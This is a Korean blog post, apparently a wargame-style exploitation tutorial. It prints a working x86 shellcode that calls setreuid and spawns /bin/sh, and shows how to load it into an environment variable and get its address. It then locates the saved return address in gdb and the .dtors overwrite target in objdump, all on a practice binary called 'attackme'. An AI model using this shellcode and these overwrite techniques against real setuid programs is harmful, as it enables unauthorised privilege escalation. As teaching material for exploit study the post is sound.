Major Study./System hacking

쉘코드 주소값, ret값 위치, .dtors 위치 찾기

sosal 2010. 7. 4. 02:22
반응형

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */



쉘코드의 주소를 환경변수로 가져올 수 있습니다.

localhost] $ export hkpco=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

int main( void )
{
        char *p = getenv("hkpco");
        printf( "%p\n" , p );
}

-쉘코드 출처 - http://hkpco.kr/
UnivShellcode - EnvironmentValue


ret값 위치 찾기

attackme라는 프로그램의 ret값이 어느 주소에 위치하는지 찾고싶을 때

localhost] $ gdb ./attackme

(gdb) b main
Breakpoint 1 at 0x80484a3
(gdb) x/x $ebp
0xbffffaf8:     0xbffffb18

bffffaf8 다음 4바이트가 ret값이므로,
bffffafc (bffffaf8 + 4) 가 ret값의 주소입니다.

/*
 * break pointer를 main에다 걸었습니다.
 *
 * b *main과 b main의 차이점
 * b *main은 main함수가 시작하기 직전의 위치
 * b main 은 main함수의 내부 스택프레임이 모두 형성되고 나서
 * 함수에 쓰기위한 지역변수들의 자리를 확보하기 바로 "직전"의 위치
 */


.dtors 위치 찾기

dtors는 소멸자 함수와 같은것인데, 이 주소에 우리가 원하는
쉘코드의 주소를 넣는 형식으로 자주 사용합니다.

localhost] $ objdump -s -j .dtors ./attackme

./attackme:     file format elf32-i386

Contents of section .dtors:
 80496d8 ffffffff 00000000                    ........

위에 나타난 80496d8 + 4 = .dtors의 주소입니다.